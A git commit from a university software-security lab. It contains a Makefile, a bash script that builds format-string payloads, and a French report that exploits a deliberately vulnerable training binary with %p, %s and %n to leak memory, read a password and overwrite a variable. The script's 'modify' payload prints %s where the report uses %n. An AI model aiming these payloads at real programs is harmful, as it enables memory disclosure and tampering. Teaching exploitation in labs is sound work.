Finish TD6

This commit is contained in:
Yorick Barbanneau 2023-04-12 23:35:55 +02:00
parent 07eb566445
commit 7c934bcefb
3 changed files with 236 additions and 29 deletions

View file

@ -4,7 +4,7 @@ SRC = $(wildcard *.c)
TGT = $(subst .c,,$(SRC))
BUILD_DIR = build
DUMP_DIR = dump
SETARCH ?= 0
pframe:
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
@ -36,9 +36,16 @@ build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \
$(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \
PHONY: gdb_% configure
gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb
ifeq ($(SETARCH),1)
gdb_command = setarch -R gdb
else
gdb_command = gdb
endif
PHONY: gdb_%
gdb_%: configure $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%))
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} $(gdb_command) \
$(addprefix $(BUILD_DIR)/, $(subst gdb_,,$@)) \
--command=$(subst gdb_,,$@).gdb
PHONY: clean

View file

@ -0,0 +1,108 @@
#!/bin/bash
#
#
usage() {
cat <<EOF
hack the vulnerable!
This script calculate for you all you need to hack the \`vulnerable-1_32-pie\`
TD6 part1 question 9 of software security course
OPTIONS
-h | --help show this message
-a | --address set the \`foo()\` return address if not set, script will
ask you to put it on stdin
-i | --show-info display all informations abous processing addresses
EOF
}
error() {
>&2 printf "\e[31mError\e[0m: %s\n" "$1"
}
info() {
local message="$*"
[[ -z $DEBUG || $DEBUG -ne 1 ]] && return
[ -z "$message" ] && return
# On affiche les informations supplémentaires pour le débogage
printf "\n\e[34mInfo\e[0m: %s\n" "$message"
}
process_args() {
while :; do
case $1 in
-h|-\?|--help)
usage
exit 0
;;
-a|--address)
addr="$2"
shift
;;
-i|--show-information)
DEBUG=1
;;
*)
break
esac
shift
done
}
process_args "$@"
if [ -z "${addr:-}" ]
then
printf "Enter the return address for foo(): "
read -r addr
else
info "I have the address: $addr"
fi
if [[ $addr =~ ^0x.*$ ]]
then
addr=${addr:2:8}
info "remove 0x on address begining $addr"
fi
if [[ ! $addr =~ ^[0-9a-fA-F]{8}$ ]]
then
error "$addr is not a valid address"
exit 10
fi
for e in "main" "target"
do
v=$(objdump -D build/vulnerable-1_32-pie | grep "<$e>" | awk '{print $1}')
printf -v "$e" "%s" "$v"
done
info "Get main() and target address with objdump
* main: $main
* target: $target"
delta=$((16#$target - 16#$main))
info "Caclulate the difference between this two address:
* delta: $delta"
pie_main=${addr:0:6}${main:6:4}
info "get the main() address on our executable : get the 3 fist numbers of addr
and the last one of the main address reported by \`objdump\`
* main() address on pie process: $pie_main"
printf -v pie_target "%x" $((16#$pie_main + delta ))
info "Add the delta to main() address
* \`target\` address on pie process: $pie_target"
printf -v get_target "\\\\\\\x%s" "${pie_target:6:2}" "${pie_target:4:2}" "${pie_target:2:2}" "${pie_target:0:2}"
info "Put the target address in the right order:
* address payload: $get_target"
printf "\nGet the Target :\n"
printf "%s %s\n" "$get_target" "%23\$s"
printf "\nModify the Target:\n"
printf "%s %s\n" "$get_target" "%23\$s"
printf "\nHack the Target:\n"
printf "%s%s\n" "$get_target" "%152896p%23\$n"

View file

@ -1,6 +1,9 @@
---
title: "Sécurité logicielle : TD6 String, format, vulnérabilité"
date: 2023-03-10
author:
- Yorick Barbanneau
- Gwendal Aupee
tags: ["Assembleur", "x86"]
categories: ["Sécurité logicielle", "TD"]
---
@ -9,7 +12,7 @@ categories: ["Sécurité logicielle", "TD"]
### Question 1
Ce programme affiche ue première ligne avec les élements suivants (dans
Ce programme affiche une première ligne avec les éléments suivants (dans
l'ordre)":
* `c`
@ -17,16 +20,16 @@ l'ordre)":
* `0x00000009`
* `AAA`
Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a
été écrite par notre premier `fprintf` grace à `%n`.
Il affiche ensuite la valeur de `value` dans une seconde ligne. Cette valeur a
été définie par notre premier `fprintf` grâce à `%n`.
### Question 2
Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer
Grâce au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer
dans la pile et ainsi afficher les adresses.
```
%2p
%p
pframe
[...]
0xffffd60c 0x56555500
@ -40,7 +43,7 @@ pframe
0xffffd5ec 0x08049192
0xffffd5e8 0x080482ac
0xffffd5e4 0xf7c73230 <- '%p'
0xffffd5e0 0xffffd63c
0xffffd5e0 0xffffd63c <- format
0xffffd5dc sp 0x080491b4
(gdb) n
@ -48,14 +51,17 @@ Single stepping until exit from function printf,
which has no line number information.
0xf7c73230 <- on a bien l'affichage de %p
```
C'est exactement la démarche vue en cours pour détourner `printf` de son udsage
C'est exactement la démarche vue en cours pour détourner `printf` de son usage
de base.
Avec la version PIE, c'est exactement la même chose: on affiche l'élément juste
au dessus du format avec `%p`.
### question 3
Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver
l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui
représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir
représente une remontée dans la pile de 22 éléments. Il nous a suffit de saisir
`%22$p` pour afficher le contenu comme dans le code ci-dessous
```bash
@ -65,15 +71,16 @@ représente une remontée dans la pile de 22 élements. Il nous a suffit de sais
```
### Question 4
Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb
Afin de saisir les 4 entiers , nous avons créé un fichier de commandes gdb
modifié comme ci-dessous pour automatiser la saisie:
```gdb
b printf
r < <(echo -e '\x31\x32\x33\x34')
```
Il est possible de lancer l'opération avec notre `Makefile` qui se charge de
toutes les opérations :
toutes les actions :
```bash
@ -87,13 +94,14 @@ p &buf
$2 = (char (*)[128]) 0xffffd56c
```
Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction
que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en
prenant en compte les adresses 32bits et la *strack frame* conteant le format,
nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée:
Au moment du `printf`, `SP` se situe à `0xffffd50c`, on en déduit par
soustraction que notre `buf` se trouve à 96 octets plus bas que notre pointeur
de pile. En prenant en compte les adresses 32bits et la *strack frame* contenant
le format, nous injectons `%23$p` pour trouver le contenu voici la commande
shell exécutée:
```bash
echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32
echo -e '\x31\x32\x33\x34 %23$p' | ./build/vulnerable-1_32
1234 0x34333231
```
@ -104,7 +112,7 @@ D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c`
Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé
```bash
echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32
echo -e '\x1c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32
secret_password
```
@ -123,22 +131,22 @@ objdump -D build/vulnerable-1_32 | grep target
0804c02c <target>:
```
Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire
Puis de forger notre entrée. Afin d'afficher les caractères, il est nécessaire
d'utiliser `hexdump` sur notre machine:
```
echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C
```bash
echo -e '\x2c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 | hexdump -C
00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..|
0000000b
```
### Question 7
Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons
pouvois la modifier en changeant son contenu avec le format `%n` :
Une fois que nous avons affiché le contenu de la variable `target`, nous allons
pouvoir la modifier en changeant son contenu avec le format `%n` :
```bash
echo -e '\x2c\xc0\x04\x08 %23$n' | setarch -R ./build/vulnerable-1_32
echo -e '\x2c\xc0\x04\x08 %23$n' | ./build/vulnerable-1_32
you have modified the target to 0x6!
@ -146,11 +154,95 @@ you have modified the target to 0x6!
### Question 8
Uen fois la première modification appliquée, il ne reste plus qu'à forger le
Une fois la première modification appliquée, il ne reste plus qu'à forger le
paramètre de notre format pour rendre la condition`if (target == 0x00025544)`
vrai.
`0x25544` est égal à 152900,
`0x25544` est égal à 152900, en prenant en compte les caractères avant, notre
décalage est de 152896 pour mettre la bonne valeur dans `target` (le décalage
contient les 4 octets de l'adresse)
```bash
echo -e '\x2c\xc0\x04\x08 %152894p%23$n' | setarch -R ./build/vulnerable-1_32
echo -e '\x2c\xc0\x04\x08%152896p%23$n' | ./build/vulnerable-1_32
# [...]
0xf7c73230
you have hacked it!
```
### Question 9
Pour réaliser les 3 questions précédentes avec l'exécutable *PIE*, nous allon
avoir besoin des éléments suivants:
* l'adresse de `main()` et de `target` que nous pouvons obtenir avec les deux
commandes suivantes :
```bash
objdump -D build/vulnerable-1_32-pie | grep "<main>" | awk '{print $1}'
objdump -D build/vulnerable-1_32-pie | grep "<target>" | awk '{print $1}'
```
* lors de l'exécution de notre exécutable vulnérable, l'adresse de retour de
la fonction `foo()` que nous obtiendrons avec `%15$p`. Nous avond obtenu
cette valeur en observant l'exécutable avec `gdb` en utilisant `pframe`
Voici un exemple d'exécution de l'exécutable avec la charge utile permettant
d'extraire le contenu de `target`.
```
(echo '%15$p'; read hack; echo -e "$hack") | ./build/vulnerable-1_32-pie
0x565b92b4
\\x2c\\xc0\\x5b\\x56 %23$s
,[V 123
```
Comme nous sommes des administrateurs systèmes - et donc fainéants dans l'âme -
nous avons écrit un script permettant de réaliser **les calculs nécessaires pour
la saisie de l'adresse**.
Ce script est disponible dans l'archive jointe à ce rapport. Il suffit de
l'exécuter avec le paramètre `-i` pour qu'il affiche les étape de création de la
charge utile. L'adresse de retour de `foo` peut être passée en paramètre via
l'option `-a` sinon il sera demandé de la saisir.
Voici un exemple d'exécution du script:
```
./hack.sh -i -a 0x5655a2b4
Info: I have the address: 0x5655a2b4
Info: remove 0x on address begining 5655a2b4
Info: Get main() and target address with objdump
* main: 0000124c
* target: 0000402c
Info: Caclulate the difference between this two address:
* delta: 11744
Info: get the main() address on our executable : get the 3 fist numbers of addr
and the last one of the main address reported by `objdump`
* main() address on pie process: 5655a24c
Info: Add the delta to main() address
* `target` address on pie process: 5655d02c
Info: Put the target address in the right order:
* address payload: \\x2c\\xd0\\x55\\x56
Get the Target :
\\x2c\\xd0\\x55\\x56 %23$s
Modify the Target:
\\x2c\\xd0\\x55\\x56 %23$s
Hack the Target:
\\x2c\\xd0\\x55\\x56%152896p%23$n
```
Le script donne enfin les charges utiles pour les question 6. 7 et 8 applicable
à la version PIE de `vulnerable`. Il suffit de copier-coller la charge utile
désirée dans la saisie attendue par l'exécution de `vulnerable-1_32-pie`.
Nous sommes obligé d'échapper l'antislash de nos valeurs hexadécimales car notre
saisie passe par la variable `hack` avant d'être utilisée par le `echo`.